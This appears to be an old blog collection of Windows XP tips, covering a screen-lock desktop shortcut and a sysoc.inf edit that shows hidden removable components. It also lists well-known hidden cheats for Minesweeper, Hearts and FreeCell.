If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks: Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.' You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button. In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out. it is usegul if u have an account as it will prompt 4 a password.

XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

Cheat codes&cracks for default games in windows XP Minesweeper

2007-09-27T12:54:00.000+10:00

Secret - Reveal MinesInstructions - Minimize or close all running applications. Launch Minesweeper, then type xyzzy. Next hold down either shift key for one second. Now when you move the mouse cursor over a Minesweeper square you will see a tiny white pixel in the top left corner of your desktop screen. This pixel will change to black when your mouse moves over a mine. You may need to change you desktop background to a solid color other then white or black to see the pixel. Secret - Stop TimerInstructions - Launch Minesweeper and start a game so the timer starts counting, then press the Windows Key + D to show the desktop. Now when you select minesweeper from the taskbar you can continue playing with the timer stopped.

Cheat codes&cracks for default games in windows XP Hearts

2007-09-27T12:52:00.000+10:00

Secret - Show All CardsInstructions - Edit this registry key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts and create a new String value named ZB with a Data value of 42. Start Hearts and Press Ctrl + Alt + Shift + F12 to show all the cards. Background - This secret is a reference to Douglas Adams' book the Hitch Hiker's Guide to the Galaxy. 'ZB' is the initials of the character Zaphod Beeblebrox, the Galactic President. '42' is the answer to The Ultimate Question Of Life, the Universe and Everything.

Cheat codes&cracks for default games in windows XP FreeCell

2007-09-27T12:49:00.000+10:00

Secret - Instant WinInstructions - Hold down Ctrl + Shift + F10 during game play. Then you will be asked if you want to Abort, Retry or Ignore. Choose Abort, then move any card to instantly win. Secret - Hidden Game ModesInstructions - In the "Game" menu choose "Select Game". Enter -1 or -2 to activate the hidden game modes.